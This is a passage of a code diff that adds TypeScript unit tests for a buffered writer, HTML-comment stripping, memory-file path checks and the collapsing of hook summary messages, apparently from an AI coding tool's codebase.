|
||||
|
||||
test("buffered mode accumulates until flush", () => {
|
||||
const written: string[] = [];
|
||||
const writer = createBufferedWriter({
|
||||
writeFn: (c) => written.push(c),
|
||||
});
|
||||
writer.write("hello ");
|
||||
writer.write("world");
|
||||
expect(written).toEqual([]);
|
||||
writer.flush();
|
||||
expect(written).toEqual(["hello world"]);
|
||||
});
|
||||
|
||||
test("flush with empty buffer does not call writeFn", () => {
|
||||
const written: string[] = [];
|
||||
const writer = createBufferedWriter({
|
||||
writeFn: (c) => written.push(c),
|
||||
});
|
||||
writer.flush();
|
||||
expect(written).toEqual([]);
|
||||
});
|
||||
|
||||
test("flush clears the buffer", () => {
|
||||
const written: string[] = [];
|
||||
const writer = createBufferedWriter({
|
||||
writeFn: (c) => written.push(c),
|
||||
});
|
||||
writer.write("data");
|
||||
writer.flush();
|
||||
writer.flush(); // second flush should be no-op
|
||||
expect(written).toEqual(["data"]);
|
||||
});
|
||||
|
||||
test("overflow triggers deferred flush when maxBufferSize reached", () => {
|
||||
const written: string[] = [];
|
||||
const writer = createBufferedWriter({
|
||||
writeFn: (c) => written.push(c),
|
||||
maxBufferSize: 2,
|
||||
});
|
||||
writer.write("a");
|
||||
writer.write("b");
|
||||
// 2 writes = maxBufferSize, triggers flushDeferred via setImmediate
|
||||
expect(written).toEqual([]);
|
||||
});
|
||||
|
||||
test("overflow triggers deferred flush when maxBufferBytes reached", () => {
|
||||
const written: string[] = [];
|
||||
const writer = createBufferedWriter({
|
||||
writeFn: (c) => written.push(c),
|
||||
maxBufferBytes: 5,
|
||||
});
|
||||
writer.write("abc");
|
||||
writer.write("def");
|
||||
// total 6 bytes > 5, triggers flushDeferred
|
||||
expect(written).toEqual([]);
|
||||
});
|
||||
|
||||
test("dispose flushes remaining buffer", () => {
|
||||
const written: string[] = [];
|
||||
const writer = createBufferedWriter({
|
||||
writeFn: (c) => written.push(c),
|
||||
});
|
||||
writer.write("final");
|
||||
writer.dispose();
|
||||
expect(written).toEqual(["final"]);
|
||||
});
|
||||
|
||||
test("dispose flushes pending overflow", () => {
|
||||
const written: string[] = [];
|
||||
const writer = createBufferedWriter({
|
||||
writeFn: (c) => written.push(c),
|
||||
maxBufferSize: 1,
|
||||
});
|
||||
writer.write("overflow-data");
|
||||
// overflow triggered but deferred; dispose should flush it synchronously
|
||||
writer.dispose();
|
||||
expect(written).toEqual(["overflow-data"]);
|
||||
});
|
||||
|
||||
test("coalesced overflow — multiple overflows merge before write", () => {
|
||||
const written: string[] = [];
|
||||
const writer = createBufferedWriter({
|
||||
writeFn: (c) => written.push(c),
|
||||
maxBufferSize: 1,
|
||||
});
|
||||
writer.write("a"); // triggers first overflow (deferred)
|
||||
writer.write("b"); // pendingOverflow exists, coalesces
|
||||
writer.dispose(); // flushes coalesced overflow
|
||||
expect(written).toEqual(["ab"]);
|
||||
});
|
||||
|
||||
test("multiple flushes produce concatenated writes", () => {
|
||||
const written: string[] = [];
|
||||
const writer = createBufferedWriter({
|
||||
writeFn: (c) => written.push(c),
|
||||
});
|
||||
writer.write("batch1");
|
||||
writer.flush();
|
||||
writer.write("batch2");
|
||||
writer.flush();
|
||||
expect(written).toEqual(["batch1", "batch2"]);
|
||||
});
|
||||
});
|
||||
@@ -62,6 +62,19 @@ describe("stripHtmlComments", () => {
|
||||
expect(result.content).toContain("<!-- inline -->");
|
||||
expect(result.stripped).toBe(false);
|
||||
});
|
||||
|
||||
test("leaves unclosed HTML comment unchanged", () => {
|
||||
const result = stripHtmlComments("<!-- no close some text");
|
||||
expect(result.content).toBe("<!-- no close some text");
|
||||
expect(result.stripped).toBe(false);
|
||||
});
|
||||
|
||||
test("strips comment and keeps same-line residual content", () => {
|
||||
const result = stripHtmlComments("<!-- note -->some text");
|
||||
expect(result.content).toContain("some text");
|
||||
expect(result.content).not.toContain("<!--");
|
||||
expect(result.stripped).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("isMemoryFilePath", () => {
|
||||
@@ -88,6 +101,14 @@ describe("isMemoryFilePath", () => {
|
||||
test("returns false for .claude directory non-rules file", () => {
|
||||
expect(isMemoryFilePath("/project/.claude/settings.json")).toBe(false);
|
||||
});
|
||||
|
||||
test("returns false for lowercase claude.md (case-sensitive match)", () => {
|
||||
expect(isMemoryFilePath("/project/claude.md")).toBe(false);
|
||||
});
|
||||
|
||||
test("returns false for non-.md file in .claude/rules/", () => {
|
||||
expect(isMemoryFilePath(".claude/rules/foo.txt")).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("getLargeMemoryFiles", () => {
|
||||
@@ -120,4 +141,8 @@ describe("getLargeMemoryFiles", () => {
|
||||
const result = getLargeMemoryFiles(files);
|
||||
expect(result).toHaveLength(1);
|
||||
});
|
||||
|
||||
test("returns empty array for empty input", () => {
|
||||
expect(getLargeMemoryFiles([])).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
136
src/utils/__tests__/collapseHookSummaries.test.ts
Normal file
136
src/utils/__tests__/collapseHookSummaries.test.ts
Normal file
@@ -0,0 +1,136 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import { collapseHookSummaries } from "../collapseHookSummaries";
|
||||
|
||||
function makeHookSummary(overrides: Partial<{
|
||||
hookLabel: string;
|
||||
hookCount: number;
|
||||
hookInfos: any[];
|
||||
hookErrors: any[];
|
||||
preventedContinuation: boolean;
|
||||
hasOutput: boolean;
|
||||
totalDurationMs: number;
|
||||
}> = {}): any {
|
||||
return {
|
||||
type: "system",
|
||||
subtype: "stop_hook_summary",
|
||||
hookLabel: overrides.hookLabel ?? "PostToolUse",
|
||||
hookCount: overrides.hookCount ?? 1,
|
||||
hookInfos: overrides.hookInfos ?? [],
|
||||
hookErrors: overrides.hookErrors ?? [],
|
||||
preventedContinuation: overrides.preventedContinuation ?? false,
|
||||
hasOutput: overrides.hasOutput ?? false,
|
||||
totalDurationMs: overrides.totalDurationMs ?? 10,
|
||||
};
|
||||
}
|
||||
|
||||
function makeNonHookMessage(): any {
|
||||
return { type: "user", message: { content: "hello" } };
|
||||
}
|
||||
|
||||
describe("collapseHookSummaries", () => {
|
||||
test("returns same messages when no hook summaries", () => {
|
||||
const messages = [makeNonHookMessage(), makeNonHookMessage()];
|
||||
expect(collapseHookSummaries(messages)).toEqual(messages);
|
||||
});
|
||||
|
||||
test("collapses consecutive messages with same hookLabel", () => {
|
||||
const messages = [
|
||||
makeHookSummary({ hookLabel: "PostToolUse", hookCount: 1 }),
|
||||
makeHookSummary({ hookLabel: "PostToolUse", hookCount: 2 }),
|
||||
];
|
||||
const result = collapseHookSummaries(messages);
|
||||
expect(result).toHaveLength(1);
|
||||
expect(result[0].hookCount).toBe(3);
|
||||
});
|
||||
|
||||
test("does not collapse messages with different hookLabels", () => {
|
||||
const messages = [
|
||||
makeHookSummary({ hookLabel: "PostToolUse" }),
|
||||
makeHookSummary({ hookLabel: "PreToolUse" }),
|
||||
];
|
||||
const result = collapseHookSummaries(messages);
|
||||
expect(result).toHaveLength(2);
|
||||
});
|
||||
|
||||
test("aggregates hookCount across collapsed messages", () => {
|
||||
const messages = [
|
||||
makeHookSummary({ hookLabel: "A", hookCount: 3 }),
|
||||
makeHookSummary({ hookLabel: "A", hookCount: 5 }),
|
||||
];
|
||||
const result = collapseHookSummaries(messages);
|
||||
expect(result[0].hookCount).toBe(8);
|
||||
});
|
||||
|
||||
test("merges hookInfos arrays", () => {
|
||||
const info1 = { tool: "Read" };
|
||||
const info2 = { tool: "Write" };
|
||||
const messages = [
|
||||
makeHookSummary({ hookLabel: "A", hookInfos: [info1] }),
|
||||
makeHookSummary({ hookLabel: "A", hookInfos: [info2] }),
|
||||
];
|
||||
const result = collapseHookSummaries(messages);
|
||||
expect(result[0].hookInfos).toEqual([info1, info2]);
|
||||
});
|
||||
|
||||
test("merges hookErrors arrays", () => {
|
||||
const err1 = new Error("e1");
|
||||
const err2 = new Error("e2");
|
||||
const messages = [
|
||||
makeHookSummary({ hookLabel: "A", hookErrors: [err1] }),
|
||||
makeHookSummary({ hookLabel: "A", hookErrors: [err2] }),
|
||||
];
|
||||
const result = collapseHookSummaries(messages);
|
||||
expect(result[0].hookErrors).toHaveLength(2);
|
||||
});
|
||||
|
||||
test("takes max totalDurationMs", () => {
|
||||
const messages = [
|
||||
makeHookSummary({ hookLabel: "A", totalDurationMs: 50 }),
|
||||
makeHookSummary({ hookLabel: "A", totalDurationMs: 100 }),
|
||||
makeHookSummary({ hookLabel: "A", totalDurationMs: 75 }),
|
||||
];
|
||||
const result = collapseHookSummaries(messages);
|
||||
expect(result[0].totalDurationMs).toBe(100);
|
||||
});
|
||||
|
||||
test("takes any truthy preventContinuation", () => {
|
||||
const messages = [
|
||||
makeHookSummary({ hookLabel: "A", preventedContinuation: false }),
|
||||
makeHookSummary({ hookLabel: "A", preventedContinuation: true }),
|
||||
];
|
||||
const result = collapseHookSummaries(messages);
|
||||
expect(result[0].preventedContinuation).toBe(true);
|
||||
});
|
||||
|
||||
test("leaves single hook summary unchanged", () => {
|
||||
const msg = makeHookSummary({ hookLabel: "PostToolUse", hookCount: 5 });
|
||||
const result = collapseHookSummaries([msg]);
|
||||
expect(result).toHaveLength(1);
|
||||
expect(result[0].hookCount).toBe(5);
|
||||
});
|
||||
|
||||
test("handles three consecutive same-label summaries", () => {
|
||||
const messages = [
|
||||
makeHookSummary({ hookLabel: "X", hookCount: 1 }),
|
||||
makeHookSummary({ hookLabel: "X", hookCount: 1 }),
|
||||
makeHookSummary({ hookLabel: "X", hookCount: 1 }),
|
||||
];
|
||||
const result = collapseHookSummaries(messages);
|
||||
expect(result).toHaveLength(1);
|
||||
expect(result[0].hookCount).toBe(3);
|
||||
});
|
||||
|
||||
test("preserves non-hook messages in between", () => {
|
||||
const messages = [
|
||||
makeHookSummary({ hookLabel: "A" }),
|
||||
makeNonHookMessage(),
|
||||
makeHookSummary({ hookLabel: "A" }),
|
||||
];
|
||||
const result = collapseHookSummaries(messages);
|
||||
expect(result).toHaveLength(3);
|
||||
});
|
||||
|
||||
test("returns empty array for empty input", () => {
|
||||
expect(collapseHookSummaries([])).toEqual([]);
|
||||
});
|
||||
});
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user